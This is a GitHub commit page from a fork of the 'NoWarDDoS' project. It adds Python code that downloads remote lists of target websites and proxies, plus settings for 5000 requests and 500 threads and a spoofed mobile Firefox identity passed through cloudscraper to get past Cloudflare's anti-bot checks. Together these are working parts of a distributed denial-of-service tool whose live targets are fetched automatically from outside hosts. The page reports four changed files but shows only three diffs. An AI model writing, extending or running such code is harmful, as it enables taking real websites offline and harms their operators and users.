forked from AlexTrushkovsky/NoWarDDoS
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request AlexTrushkovsky#42 from AlexTrushkovsky/optimized
Optimized
- Loading branch information
Showing
4 changed files
with
123 additions
and
64 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,5 @@ | ||
.idea/ | ||
venv/ | ||
build/ | ||
dist/ | ||
__pycache__/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,64 @@ | ||
import time | ||
import json | ||
import cloudscraper | ||
from functools import lru_cache | ||
from random import choice | ||
from urllib.parse import unquote | ||
|
||
import settings | ||
|
||
|
||
class RemoteProvider: | ||
def __init__(self, targets=None): | ||
self.targets = [unquote(target) for target in targets] if targets else None | ||
self._proxies = [] | ||
self.sites = [] | ||
self.scraper = cloudscraper.create_scraper(browser=settings.BROWSER, ) | ||
|
||
def _scrap_json(self, link): | ||
host = choice(link) | ||
content = self.scraper.get(host).content | ||
if content: | ||
try: | ||
data = json.loads(content) | ||
return data | ||
except json.decoder.JSONDecodeError: | ||
raise Exception('Host {} has invalid format'.format(host)) | ||
except Exception: | ||
raise Exception('Unexpected error. Host {}'.format(host)) | ||
else: | ||
raise Exception('Unexpected error. Host {}'.format(host)) | ||
|
||
def _get_ttl_hash(seconds=settings.TARGET_UPDATE_RATE): | ||
"""Return the same value within `seconds` time period""" | ||
return round(time.time() / seconds) | ||
|
||
@lru_cache() | ||
def get_target_site(self, ttl_hash=_get_ttl_hash()): | ||
del ttl_hash | ||
if self.targets: | ||
self.sites = self.targets | ||
else: | ||
try: | ||
data = self._scrap_json(settings.SITES_HOSTS) | ||
self.sites = [] | ||
for site in data: | ||
if 'attack' not in site or ('attack' in site and not site['attack'] == 0): | ||
if not site['page'].startswith('http'): | ||
site['page'] = "https://" + site['page'] | ||
self.sites.append(unquote(site['page'])) | ||
except Exception as e: | ||
raise e | ||
|
||
return choice(self.sites) | ||
|
||
@lru_cache() | ||
def get_proxies(self, ttl_hash=_get_ttl_hash()): | ||
del ttl_hash | ||
try: | ||
data = self._scrap_json(settings.PROXIES_HOSTS) | ||
self._proxies = data | ||
except Exception as e: | ||
raise e | ||
|
||
return self._proxies |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,12 @@ | ||
VERSION = 7 | ||
SITES_HOSTS = ["https://raw.githubusercontent.com/opengs/uashieldtargets/master/sites.json"] | ||
PROXIES_HOSTS = ["https://raw.githubusercontent.com/opengs/uashieldtargets/master/proxy.json"] | ||
MAX_REQUESTS = 5000 | ||
DEFAULT_THREADS = 500 | ||
TARGET_UPDATE_RATE = 600 | ||
READ_TIMEOUT = 10 | ||
SUPPORTED_PLATFORMS = { | ||
'linux': 'Linux' | ||
} | ||
UPDATE_URL = "https://gist.githubusercontent.com/AlexTrushkovsky/041d6e2ee27472a69abcb1b2bf90ed4d/raw/nowarversion.json" | ||
BROWSER = {'browser': 'firefox', 'platform': 'android', 'mobile': True} |